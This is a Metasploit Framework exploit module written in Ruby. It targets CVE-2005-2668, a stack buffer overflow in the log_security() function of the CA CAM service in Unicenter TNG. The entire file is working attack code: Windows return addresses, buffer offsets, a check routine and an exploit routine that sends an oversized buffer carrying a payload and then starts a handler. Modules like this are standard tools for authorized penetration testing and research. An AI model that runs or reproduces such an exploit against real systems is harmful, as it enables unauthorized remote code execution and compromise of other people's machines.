##
# $Id: cam_log_security.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
'Description' => %q{
This module exploits a vulnerability in the CA CAM service
by passing a long parameter to the log_security() function.
The CAM service is part of TNG Unicenter. This module has
been tested on Unicenter v3.1.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2005-2668'],
['OSVDB', '18916'],
['BID', '14622'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
# W2API.DLL @ 0x01950000 - return to ESI
['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],
# Return to ESI in ws2help.dll
['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
],
'DisclosureDate' => 'Aug 22 2005',
'DefaultTarget' => 0))
end
def check
connect
ack = sock.get_once
disconnect
(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
end
def exploit
connect
ack = sock.get_once
if (ack != "ACK\x00")
print_status("The CAM service is not responding")
end
buf = rand_text_english(4096, payload_badchars)
# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
buf[ 1016, 4 ] = [target.ret].pack('V')
buf[ 1052, payload.encoded.length ] = payload.encoded
sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
handler
disconnect
end
end